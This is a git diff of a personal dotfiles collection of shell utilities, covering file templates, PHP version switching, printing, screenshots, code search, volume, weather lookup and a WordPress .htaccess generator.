elif [[ $1 == "help" ]];then
|
||||
usage
|
||||
else
|
||||
getMovieInfo "$@" || exit 1 ## exit if we return 1 (chances are movie was not found)
|
||||
printMovieInfo ## print out the data
|
||||
fi
|
91
bin/.bin/new
Executable file
91
bin/.bin/new
Executable file
|
@ -0,0 +1,91 @@
|
|||
#!/usr/bin/bash
|
||||
|
||||
if [ $1 ]; then
|
||||
while test $# -gt 0; do
|
||||
case $1 in
|
||||
-h|--help)
|
||||
echo "Create files from template"
|
||||
echo ""
|
||||
echo "Usage: new [options] newFile"
|
||||
echo ""
|
||||
echo "Options:"
|
||||
echo "--------"
|
||||
echo -e "{-t,--template} filename \t Force use of template in Template Directory"
|
||||
echo -e "{-l,--list} \t\t\t Lists the available templates"
|
||||
echo -e "{-h,--help} \t\t\t Show this help text"
|
||||
exit 0
|
||||
;;
|
||||
-t|--template)
|
||||
shift
|
||||
if [[ -f "$HOME/Templates/$1" ]]; then
|
||||
template="$HOME/Templates/$1"
|
||||
else
|
||||
echo "The file $HOME/Templates/$1 does not exits"
|
||||
exit 1
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
-l|--list)
|
||||
shift
|
||||
for file in $HOME/Templates/*$1; do
|
||||
echo ${file##*/}
|
||||
done
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
file=$1
|
||||
if [[ "$template" == "" ]]; then
|
||||
extention=${file##*.}
|
||||
posTemplates=()
|
||||
if [[ -f $HOME/Templates/$extention ]]; then
|
||||
posTemplates+=("$HOME/Templates/$extention")
|
||||
fi
|
||||
for template in $HOME/Templates/*.$extention; do
|
||||
if [[ -f $template ]]; then
|
||||
posTemplates+=( $template )
|
||||
fi
|
||||
done
|
||||
if [[ ${#posTemplates[@]} == 1 ]]; then
|
||||
echo "Only one template"
|
||||
template=${posTemplates[0]}
|
||||
else
|
||||
|
||||
posTemplates+=("Cancel")
|
||||
while
|
||||
echo Your options are:
|
||||
for (( i=0; i<${#posTemplates[@]}; i++ )); do
|
||||
echo "$i: ${posTemplates[$i]##*/}"
|
||||
done
|
||||
echo -e -n "Please enter a number: [0] "
|
||||
read input
|
||||
if [[ "$input"=="" ]]; then
|
||||
test=0
|
||||
fi;
|
||||
if [[ "$input" == "$(expr ${#posTemplates[@]} - 1)" ]]; then
|
||||
echo "Exited By User"
|
||||
exit 0
|
||||
fi
|
||||
template=${posTemplates[$input]}
|
||||
[[ $input>=${#posTemplates[@]} || $input<0 ]]
|
||||
do
|
||||
echo
|
||||
echo Please chose one of the available options
|
||||
done
|
||||
fi
|
||||
fi
|
||||
|
||||
|
||||
if [[ -f "$file" ]]; then
|
||||
echo "$file already exists"
|
||||
echo "delete it first"
|
||||
exit 1
|
||||
fi
|
||||
cat "$template" > "$file"
|
||||
echo "$file created from template $template"
|
||||
exit 0
|
||||
;;
|
||||
esac
|
||||
done
|
||||
else
|
||||
echo "You haven't given anything to work with"
|
||||
fi
|
3
bin/.bin/notifications/datetime
Executable file
3
bin/.bin/notifications/datetime
Executable file
|
@ -0,0 +1,3 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
notify-send "$(date '+%T')" "$(date '+%A %d %B %Y')"
|
21
bin/.bin/open-local
Executable file
21
bin/.bin/open-local
Executable file
|
@ -0,0 +1,21 @@
|
|||
#!/bin/zsh
|
||||
|
||||
# absolute path to image folder
|
||||
FOLDER="$PWD"
|
||||
|
||||
PH="${${PWD%/public_html*}%/wiki*}"
|
||||
|
||||
FILE="https://${PH##*/}.local.jh"
|
||||
|
||||
# get current open browser command
|
||||
case $( uname -s ) in
|
||||
Darwin) open=open;;
|
||||
MINGW*) open=start;;
|
||||
CYGWIN*) open=cygstart;;
|
||||
MSYS*) open="powershell.exe –NoProfile Start";;
|
||||
*) open=${BROWSER:-xdg-open};;
|
||||
esac
|
||||
|
||||
# open it in a browser
|
||||
$open "$FILE" &> /dev/null & disown
|
||||
exit $?
|
11
bin/.bin/opout
Executable file
11
bin/.bin/opout
Executable file
|
@ -0,0 +1,11 @@
|
|||
#!/bin/sh
|
||||
# opout: "open output": A general handler for opening a file's intended output.
|
||||
# I find this useful especially running from vim.
|
||||
|
||||
basename="${1%.*}"
|
||||
|
||||
case "$1" in
|
||||
/tmp/neomutt*|*.tex|*.latex|*.md|*.rmd|*.ms|*.me|*.mom) setsid "$READER" "$basename".pdf >/dev/null 2>&1 & ;;
|
||||
*.html) setsid "$TRUEBROWSER" --new-window "$basename".html >/dev/null 2>&1 & ;;
|
||||
*.sent) setsid sent "$1" >/dev/null 2>&1 & ;;
|
||||
esac
|
20
bin/.bin/php-swap
Executable file
20
bin/.bin/php-swap
Executable file
|
@ -0,0 +1,20 @@
|
|||
#!/bin/bash
|
||||
|
||||
DOCKER_CONFIG_DIRECTORY="/home/jonathan/.dotfiles/docker/web/"
|
||||
|
||||
if [ ! -z "$1" ]; then
|
||||
|
||||
version="$1"
|
||||
|
||||
if [ "$(whoami)" == "root" ]; then
|
||||
cd "$DOCKER_CONFIG_DIRECTORY"
|
||||
docker-compose down
|
||||
sed "s/%version%/$version/" php/Dockerfile.sample > php/Dockerfile
|
||||
docker-compose up --build -d
|
||||
else
|
||||
gksudo $0 "$version"
|
||||
fi
|
||||
else
|
||||
version="$(echo -e "5.6\n7.0\n7.1\n7.2\n7.3" | rofi -dmenu -p "PHP Version")"
|
||||
$0 "$version"
|
||||
fi
|
53
bin/.bin/php-swap.old
Executable file
53
bin/.bin/php-swap.old
Executable file
|
@ -0,0 +1,53 @@
|
|||
#!/usr/bin/bash
|
||||
line=$(php --version | grep "PHP" -m 1)
|
||||
libphp="/opt/lampp/modules/libphp7.1.so"
|
||||
case "$1" in
|
||||
5)
|
||||
file="/opt/lampp/etc/extra/httpd-xampp-php5.conf"
|
||||
phpexe=$(ls /opt/lampp/bin/php-5.*)
|
||||
phpcgi=$(ls /opt/lampp/bin/php-cgi-5.*)
|
||||
phpconfig=$(ls /opt/lampp/bin/php-config-5.*)
|
||||
phpize=$(ls /opt/lampp/bin/phpize-5.*)
|
||||
;;
|
||||
7 | 7.1)
|
||||
file="/opt/lampp/etc/extra/httpd-xampp-php7.conf"
|
||||
phpexe=$(ls /opt/lampp/bin/php-7.1.*)
|
||||
phpcgi=$(ls /opt/lampp/bin/php-cgi-7.1.*)
|
||||
phpconfig=$(ls /opt/lampp/bin/php-config-7.1.*)
|
||||
phpize=$(ls /opt/lampp/bin/phpize-7.1.*)
|
||||
;;
|
||||
7.0)
|
||||
file="/opt/lampp/etc/extra/httpd-xampp-php7.conf"
|
||||
phpexe=$(ls /opt/lampp/bin/php-7.0.*)
|
||||
phpcgi=$(ls /opt/lampp/bin/php-cgi-7.0.*)
|
||||
phpconfig=$(ls /opt/lampp/bin/php-config-7.0.*)
|
||||
phpize=$(ls /opt/lampp/bin/phpize-7.0.*)
|
||||
libphp="/opt/lampp/modules/libphp7.0.so"
|
||||
;;
|
||||
*)
|
||||
echo "Please specify the version you want"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
lampp='/opt/lampp/lampp'
|
||||
echo $phpexe
|
||||
if [ "$(id -u)" != "0" ]; then
|
||||
echo "Sorry, you are not root."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
$lampp stopapache
|
||||
ln -s -f $file /opt/lampp/etc/extra/httpd-xampp.conf
|
||||
ln -s -f $phpexe /opt/lampp/bin/php
|
||||
ln -s -f $phpcgi /opt/lampp/bin/php-cgi
|
||||
ln -s -f $phpconfig /opt/lampp/bin/php-config
|
||||
ln -s -f $phpize /opt/lampp/bin/phpize
|
||||
ln -s -f $libphp /opt/lampp/modules/libphp7.so
|
||||
|
||||
|
||||
$lampp startapache
|
||||
echo
|
||||
echo "Now on PHP ${phpexe##*-}"
|
||||
exit 0
|
2
bin/.bin/qrcode
Executable file
2
bin/.bin/qrcode
Executable file
|
@ -0,0 +1,2 @@
|
|||
#!/usr/bin/bash
|
||||
echo "$@" | qrencode -s 50 -o /tmp/qrcode && sxiv -f /tmp/qrcode && rm /tmp/qrcode
|
42
bin/.bin/rofi-print
Executable file
42
bin/.bin/rofi-print
Executable file
|
@ -0,0 +1,42 @@
|
|||
#!/bin/bash
|
||||
# printpdf - script
|
||||
# usage:
|
||||
# printpdf file.pdf
|
||||
# printpdf file1.pdf file2.pdf
|
||||
# printpdf *.pdf
|
||||
# by i_magnific0
|
||||
# Modified by jab2870
|
||||
|
||||
#COLORS=" -nb #303030 -nf khaki -sb #CCFFAA -sf #303030"
|
||||
#if dmenu --help 2>&1 | grep -q '\[-rs\] \[-ni\] \[-nl\] \[-xs\]'
|
||||
#then
|
||||
# DMENU="dmenu -i -xs -rs -l 10" # vertical patch
|
||||
#else
|
||||
# DMENU="dmenu -i" # horizontal, oh well!
|
||||
#fi
|
||||
|
||||
DMENU="rofi -dmenu"
|
||||
|
||||
printer=$( lpstat -p | awk '{print $2}' | $DMENU -p 'Printer:' $COLORS | perl -p -e 's/^.*?: ?//' )
|
||||
|
||||
set_options=$( echo -e 'No\nYes' | $DMENU -p 'Set options?' $COLORS | perl -p -e 's/^.*?: ?//' )
|
||||
|
||||
options=""
|
||||
|
||||
# standard options to lpr, not in the printer lpstat -l
|
||||
standard_options="page-ranges\nlandscape"
|
||||
|
||||
while [ $set_options == "Yes" ]; do
|
||||
custom_options=$( lpoptions -d $printer -l | grep -v NotInstalled | awk '{ print $1 }' | sed 's/:\+//g' )
|
||||
option_to_set=$( echo -e "$standard_options\n$custom_options" | $DMENU -p 'Option:' $COLORS | perl -p -e 's/^.*?: ?//' )
|
||||
option_value=$( lpoptions -d $printer -l | grep $option_to_set | awk 'BEGIN { FS = ": " } ; { print $2 }' | sed 's/ \+/\n/g' | sed 's/*\+//g' | $DMENU -p 'Setting:' $COLORS | perl -p -e 's/^.*?: ?//' )
|
||||
option_to_set_1d=$( echo $option_to_set | awk 'BEGIN { FS = "/" } ; { print $1 }' )
|
||||
if [ -z $option_value ]; then
|
||||
options=$options"-o $option_to_set_1d "
|
||||
else
|
||||
options=$options"-o $option_to_set_1d=$option_value "
|
||||
fi
|
||||
set_options=$( echo -e 'No\nYes' | $DMENU -p 'Set more options?' $COLORS | perl -p -e 's/^.*?: ?//' )
|
||||
done
|
||||
|
||||
lpr $options -P $printer $@
|
21
bin/.bin/screenshot
Executable file
21
bin/.bin/screenshot
Executable file
|
@ -0,0 +1,21 @@
|
|||
#!/bin/bash
|
||||
|
||||
# A simple wrapper around scrot
|
||||
#
|
||||
# When run, the screenshot will be added to she clipboard
|
||||
|
||||
case $1 in
|
||||
"window")
|
||||
file=$(scrot -u '/tmp/%F_%T_$wx$h.png' -e 'echo -n /tmp/%F_%T_$wx$h.png')
|
||||
;;
|
||||
"select")
|
||||
file=$(sleep 0.2; scrot -s '/tmp/%F_%T_$wx$h.png' -e 'echo -n /tmp/%F_%T_$wx$h.png')
|
||||
;;
|
||||
*)
|
||||
file=$(scrot '/tmp/%F_%T_$wx$h.png' -e 'echo -n /tmp/%F_%T_$wx$h.png')
|
||||
;;
|
||||
esac
|
||||
|
||||
xclip -selection clipboard -target image/png -i "$file"
|
||||
echo -n "$file" | xclip -selection primary
|
||||
notify-send "New Screenshot" "$file"
|
29
bin/.bin/search/searchcss
Executable file
29
bin/.bin/search/searchcss
Executable file
|
@ -0,0 +1,29 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
after=0
|
||||
before=0
|
||||
search=''
|
||||
if [ $# == 0 ]; then
|
||||
echo "Usage: $0 [-A <after>] [-B <before>] query"
|
||||
exit 1
|
||||
fi
|
||||
while [ $# != 0 ]; do
|
||||
case "$1" in
|
||||
-A)
|
||||
after="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-B)
|
||||
before="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
search="$search $1"
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
grep -r -i -n --color="always" --include=\*.{css,less,scss,sass} --exclude=\*.min.css -A $after -B $before $search .
|
29
bin/.bin/search/searchhtml
Executable file
29
bin/.bin/search/searchhtml
Executable file
|
@ -0,0 +1,29 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
after=0
|
||||
before=0
|
||||
search=''
|
||||
if [ $# == 0 ]; then
|
||||
echo "Usage: $0 [-A <after>] [-B <before>] query"
|
||||
exit 1
|
||||
fi
|
||||
while [ $# != 0 ]; do
|
||||
case "$1" in
|
||||
-A)
|
||||
after="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-B)
|
||||
before="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
search="$search $1"
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
grep -r -i -n --color="always" --include=\*.{html,htm} -A "$after" -B "$before" "$search" .
|
29
bin/.bin/search/searchjs
Executable file
29
bin/.bin/search/searchjs
Executable file
|
@ -0,0 +1,29 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
after=0
|
||||
before=0
|
||||
search=''
|
||||
if [ $# == 0 ]; then
|
||||
echo "Usage: $0 [-A <after>] [-B <before>] query"
|
||||
exit 1
|
||||
fi
|
||||
while [ $# != 0 ]; do
|
||||
case "$1" in
|
||||
-A)
|
||||
after="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-B)
|
||||
before="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
search="$search $1"
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
grep -r -i -n --color="always" --include=\*.{js,es6} --exclude=\*.min.js -A "$after" -B "$before" "$search" .
|
31
bin/.bin/search/searchphp
Executable file
31
bin/.bin/search/searchphp
Executable file
|
@ -0,0 +1,31 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
after=0
|
||||
before=0
|
||||
search=''
|
||||
if [ $# == 0 ]; then
|
||||
echo "Usage: $0 [-A <after>] [-B <before>] query"
|
||||
exit 1
|
||||
fi
|
||||
while [ $# != 0 ]; do
|
||||
case "$1" in
|
||||
-A)
|
||||
after="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-B)
|
||||
before="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
search="$search $1"
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
#echo grep -r -i -n --color="always" --include="*.{php,phtml}" -A "$after" -B "$before" "$search" .
|
||||
grep -r -i -n --color="always" --include=\*.php -A $after -B $before $search .
|
||||
|
2
bin/.bin/search/where
Executable file
2
bin/.bin/search/where
Executable file
|
@ -0,0 +1,2 @@
|
|||
#!/usr/bin/bash
|
||||
find . -name "$1" | sed 's/[^/]\+$//' | uniq -c | sort -g
|
6
bin/.bin/setbackground
Executable file
6
bin/.bin/setbackground
Executable file
|
@ -0,0 +1,6 @@
|
|||
#!/usr/bin/bash
|
||||
|
||||
rngback -fg "#404552" -bg "#5294e2" 3840 2160 30 15 -o ~/background.gif
|
||||
|
||||
feh --bg-fill ~/background.gif
|
||||
|
40
bin/.bin/showI3Help_
Executable file
40
bin/.bin/showI3Help_
Executable file
|
@ -0,0 +1,40 @@
|
|||
#!/usr/bin/env sh
|
||||
|
||||
function format0to9 {
|
||||
cat - |
|
||||
sed -E '/\$mod(\+Shift)?\+[1-9]/d' |\
|
||||
#sed -nE '/\$mod(\+Shift)?\+0/p' |\
|
||||
sed -E '/\$mod(\+Shift)?\+0/ { s/0/[1-9,0]/; s/10/[1-10]/g}'
|
||||
}
|
||||
|
||||
function formatLine {
|
||||
while read line; do
|
||||
if echo "$line" | grep -q "exec"; then
|
||||
echo "$line" |\
|
||||
awk '{print "# "$1 "\n"; $1=$2=""; print " Runs the shell command: \n\n```bash\n" $0 "\n```\n" }'
|
||||
else
|
||||
echo "$line" | awk '{print "# "$1 "\n"; $1=""; print $0 "\n" }'
|
||||
fi
|
||||
done;
|
||||
}
|
||||
|
||||
cat $HOME/.dotfiles/i3/configWork |\
|
||||
#Gets lines that start with bindsym
|
||||
sed -e "/^#/d" -ne "/^bindsym/p" | \
|
||||
#Remove things we dont want to show
|
||||
sed 's/\(bindsym \|--whole-window \|--no-startup-id \|--release \)//g' | \
|
||||
#Hopefully self explanitory
|
||||
sort |\
|
||||
#Makes Formats [0-9]
|
||||
format0to9 |\
|
||||
#Goes through each line and turns it into simple markdown
|
||||
formatLine |\
|
||||
#Converts markdown to groff ms
|
||||
#pandoc -f markdown -t ms |\
|
||||
pandoc -f markdown -t latex -o ~/test.pdf
|
||||
#Converts groff to pdf
|
||||
#groff -ms - -T pdf > ~/test.pdf
|
||||
#groff -ms - -T pdf |\
|
||||
#Opens PDF
|
||||
#zathura -
|
||||
|
35
bin/.bin/siteEnv
Executable file
35
bin/.bin/siteEnv
Executable file
|
@ -0,0 +1,35 @@
|
|||
#!/usr/bin/env zsh
|
||||
|
||||
|
||||
source "$HOME/.dotfiles/shells/functions"
|
||||
sitesDir="$HOME/Sites/"
|
||||
|
||||
|
||||
chosen="$(ls -d ${sitesDir}*/ | sed "s+$sitesDir++g; s/\/$//" | rofi -dmenu -i -p "Site")"
|
||||
|
||||
open="$(echo -n "Yes\nNo" | rofi -dmenu -i -p "Open the local site")"
|
||||
|
||||
siteDir="${sitesDir}${chosen}/"
|
||||
|
||||
|
||||
cd "$siteDir"
|
||||
|
||||
theme
|
||||
|
||||
|
||||
setsid "$TERMINAL" &
|
||||
setsid "$TERMINAL" &
|
||||
setsid "$TERMINAL" &
|
||||
sleep 1
|
||||
|
||||
i3-msg "move down"
|
||||
i3-msg "resize shrink height"
|
||||
i3-msg "resize shrink height"
|
||||
i3-msg "resize shrink height"
|
||||
i3-msg "split horizontal"
|
||||
|
||||
setsid "$TERMINAL" &
|
||||
|
||||
if [ "$open" = "Yes" ]; then
|
||||
open-local
|
||||
fi
|
14
bin/.bin/volume
Executable file
14
bin/.bin/volume
Executable file
|
@ -0,0 +1,14 @@
|
|||
#!/usr/bin/env sh
|
||||
|
||||
# A simple script to adjust the volume
|
||||
# Requires pulse and amixer
|
||||
|
||||
case "$1" in
|
||||
"up")
|
||||
amixer -q -D default sset Master 5%+ unmute
|
||||
;;
|
||||
"down")
|
||||
amixer -q -D default sset Master 5%- unmute
|
||||
esac
|
||||
|
||||
command -v notify-send && notify-send "Volume" "$(amixer -D default sget Master | grep -o '\[.*\%' | tr -d '[')"
|
7
bin/.bin/weather
Executable file
7
bin/.bin/weather
Executable file
|
@ -0,0 +1,7 @@
|
|||
#!/usr/bin/bash
|
||||
initial=$@
|
||||
place=${initial// /+}
|
||||
if [[ "$place" == "" ]]; then
|
||||
place="Bury+St+Edmunds"
|
||||
fi
|
||||
curl "wttr.in/$place" 2> /dev/null | head -n -2
|
353
bin/.bin/wordpress/aquarius-htaccess
Executable file
353
bin/.bin/wordpress/aquarius-htaccess
Executable file
|
@ -0,0 +1,353 @@
|
|||
#!/bin/bash
|
||||
|
||||
DIR="$PWD"
|
||||
#
|
||||
#while test $# -gt 0; do
|
||||
# case "$1" in
|
||||
# --uploads)
|
||||
# shift
|
||||
# uploads=$1
|
||||
# if [ ${uploads:0:1} == "-" ]; then
|
||||
# uploads=""
|
||||
# else
|
||||
# shift
|
||||
# fi
|
||||
# ;;
|
||||
# -h|--help)
|
||||
# echo -e "htaccess Generator"
|
||||
# echo -e "This generates an htaccess file"
|
||||
# echo -e "It adds 301 redirects to the new locations of wp-includes and wp-admin"
|
||||
# echo -e "It also sets up 301 redirects to or from the www version of the site"
|
||||
# echo -e "For use on dev or local sites, you can specify a url to have for the wp-uploads"
|
||||
# echo -e " "
|
||||
# echo -e "Options"
|
||||
# echo -e "-h, --help \t\t\t Show this help"
|
||||
# echo -e "--uploads [url] \t\t\t The URL to redirect uploads to"
|
||||
# echo -e "--with-www \t\t\t Indicate that the primary site should have www"
|
||||
# echo -e "--without-www \t\t\t Indicate that the primary site shouldn't have www"
|
||||
# echo -e "--domain [domain]\t\t\t The domain without www or http etc."
|
||||
# exit 0
|
||||
# ;;
|
||||
# -a|--auto)
|
||||
# defaults=true
|
||||
# shift
|
||||
# ;;
|
||||
# --with-www)
|
||||
# www="with"
|
||||
# shift
|
||||
# ;;
|
||||
# --without-www)
|
||||
# www="without"
|
||||
# shift
|
||||
# ;;
|
||||
# --domain)
|
||||
# shift
|
||||
# domain=$1
|
||||
# if [ ${domain:0:1} == "-" ]; then
|
||||
# domain=""
|
||||
# else
|
||||
# shift
|
||||
# fi
|
||||
# ;;
|
||||
# *)
|
||||
# echo -e "You entered something that wasn't help or salt"
|
||||
# shift
|
||||
# ;;
|
||||
# esac
|
||||
#
|
||||
#done
|
||||
|
||||
if [ -f "$DIR/.htaccess" ]; then
|
||||
echo -e "The file .htaccess already exists."
|
||||
echo -e "What do you want to do? [ b=Create Backup | o=Overwrite | a=Abort] \c"
|
||||
read choice
|
||||
choice=$(echo -e $choice | tr '[:upper:]' '[:lower:]' | head -c 1)
|
||||
if [[ "$choice" == "b" ]]; then
|
||||
name=".htaccess.backup$(date +'%y:%m:%d:%T')"
|
||||
mv "$DIR/.htaccess" "$DIR/$name"
|
||||
echo -e "Would you like to add this new file to .gitignore? [Y/n] \c"
|
||||
read input
|
||||
input=$(echo -e $input | tr '[:upper:]' '[:lower:]' | head -c 1)
|
||||
if [[ $input != 'n' ]];then
|
||||
echo "$name" >> .gitignore
|
||||
fi
|
||||
|
||||
fi
|
||||
if [[ "$choice" == "a" ]]; then
|
||||
echo -e "Aborted by user"
|
||||
return 1
|
||||
fi
|
||||
rm "$DIR/.htaccess"
|
||||
fi
|
||||
|
||||
|
||||
echo -e "Will you be running wordpress from a wp subdirectory? [Y/n] \c"
|
||||
read input
|
||||
input=$(echo -e $input | tr '[:upper:]' '[:lower:]' | head -c 1)
|
||||
if [[ $input != 'n' ]]; then
|
||||
subdirectory="true"
|
||||
else
|
||||
subdirectory="false"
|
||||
fi
|
||||
|
||||
# Little hack to make any 404 urls set in .htaccess use the wp 404 page
|
||||
echo 'ErrorDocument 404 /404/' > "$DIR/.htaccess"
|
||||
|
||||
# If wordpress is installed in a sub-directory, add redirects
|
||||
if [[ "subdirectory" == "true" ]]; then
|
||||
echo 'RedirectMatch 301 ^/wp-admin/(.*)$ /wp/wp-admin/$1' >> "$DIR/.htaccess"
|
||||
echo 'RedirectMatch 301 ^/wp-includes/(.*)$ /wp/wp-includes/$1' >> "$DIR/.htaccess"
|
||||
fi
|
||||
|
||||
#This makes sure all git folders and files are inaccessible
|
||||
echo 'RedirectMatch 404 /\.git' >> "$DIR/.htaccess"
|
||||
|
||||
#This makes sure aquariusGo is not accessible
|
||||
echo 'RedirectMatch 404 ^/aquariusGo' >> "$DIR/.htaccess"
|
||||
|
||||
#This makes sure htaccess is not accessible
|
||||
echo 'RedirectMatch 404 ^/\.htaccess' >> "$DIR/.htaccess"
|
||||
|
||||
echo -e "Would you like to add cache, expire and gzip rules? [Y/n] \c"
|
||||
read input
|
||||
input=$(echo -e $input | tr '[:upper:]' '[:lower:]' | head -c 1)
|
||||
if [[ $input != 'n' ]]; then
|
||||
cacheRules="true"
|
||||
else
|
||||
cacheRules="false"
|
||||
fi
|
||||
if [[ "$cacheRules" == "true" ]]; then
|
||||
echo '# Add Browser Cache expires rules' >> "$DIR/.htaccess"
|
||||
echo '<IfModule mod_mime.c>' >> "$DIR/.htaccess"
|
||||
echo ' AddType text/css .css' >> "$DIR/.htaccess"
|
||||
echo ' AddType text/x-component .htc' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/x-javascript .js' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/javascript .js2' >> "$DIR/.htaccess"
|
||||
echo ' AddType text/javascript .js3' >> "$DIR/.htaccess"
|
||||
echo ' AddType text/x-js .js4' >> "$DIR/.htaccess"
|
||||
echo ' AddType text/html .html .htm' >> "$DIR/.htaccess"
|
||||
echo ' AddType text/richtext .rtf .rtx' >> "$DIR/.htaccess"
|
||||
echo ' AddType image/svg+xml .svg .svgz' >> "$DIR/.htaccess"
|
||||
echo ' AddType text/plain .txt' >> "$DIR/.htaccess"
|
||||
echo ' AddType text/xsd .xsd' >> "$DIR/.htaccess"
|
||||
echo ' AddType text/xsl .xsl' >> "$DIR/.htaccess"
|
||||
echo ' AddType text/xml .xml' >> "$DIR/.htaccess"
|
||||
echo ' AddType video/asf .asf .asx .wax .wmv .wmx' >> "$DIR/.htaccess"
|
||||
echo ' AddType video/avi .avi' >> "$DIR/.htaccess"
|
||||
echo ' AddType image/bmp .bmp' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/java .class' >> "$DIR/.htaccess"
|
||||
echo ' AddType video/divx .divx' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/msword .doc .docx' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.ms-fontobject .eot' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/x-msdownload .exe' >> "$DIR/.htaccess"
|
||||
echo ' AddType image/gif .gif' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/x-gzip .gz .gzip' >> "$DIR/.htaccess"
|
||||
echo ' AddType image/x-icon .ico' >> "$DIR/.htaccess"
|
||||
echo ' AddType image/jpeg .jpg .jpeg .jpe' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/json .json' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.ms-access .mdb' >> "$DIR/.htaccess"
|
||||
echo ' AddType audio/midi .mid .midi' >> "$DIR/.htaccess"
|
||||
echo ' AddType video/quicktime .mov .qt' >> "$DIR/.htaccess"
|
||||
echo ' AddType audio/mpeg .mp3 .m4a' >> "$DIR/.htaccess"
|
||||
echo ' AddType video/mp4 .mp4 .m4v' >> "$DIR/.htaccess"
|
||||
echo ' AddType video/mpeg .mpeg .mpg .mpe' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.ms-project .mpp' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/x-font-otf .otf' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.ms-opentype ._otf' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.oasis.opendocument.database .odb' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.oasis.opendocument.chart .odc' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.oasis.opendocument.formula .odf' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.oasis.opendocument.graphics .odg' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.oasis.opendocument.presentation .odp' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.oasis.opendocument.spreadsheet .ods' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.oasis.opendocument.text .odt' >> "$DIR/.htaccess"
|
||||
echo ' AddType audio/ogg .ogg' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/pdf .pdf' >> "$DIR/.htaccess"
|
||||
echo ' AddType image/png .png' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.ms-powerpoint .pot .pps .ppt .pptx' >> "$DIR/.htaccess"
|
||||
echo ' AddType audio/x-realaudio .ra .ram' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/x-shockwave-flash .swf' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/x-tar .tar' >> "$DIR/.htaccess"
|
||||
echo ' AddType image/tiff .tif .tiff' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/x-font-ttf .ttf .ttc' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.ms-opentype ._ttf' >> "$DIR/.htaccess"
|
||||
echo ' AddType audio/wav .wav' >> "$DIR/.htaccess"
|
||||
echo ' AddType audio/wma .wma' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.ms-write .wri' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/font-woff .woff' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/font-woff2 .woff2' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/vnd.ms-excel .xla .xls .xlsx .xlt .xlw' >> "$DIR/.htaccess"
|
||||
echo ' AddType application/zip .zip' >> "$DIR/.htaccess"
|
||||
echo '</IfModule>' >> "$DIR/.htaccess"
|
||||
echo '<IfModule mod_expires.c>' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresActive On' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType text/css A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType text/x-component A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/x-javascript A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/javascript A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType text/javascript A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType text/x-js A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType text/html A3600' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType text/richtext A3600' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType image/svg+xml A3600' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType text/plain A3600' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType text/xsd A3600' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType text/xsl A3600' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType text/xml A3600' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType video/asf A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType video/avi A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType image/bmp A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/java A31536000' >> "$DIR/.htaccess"
|
||||
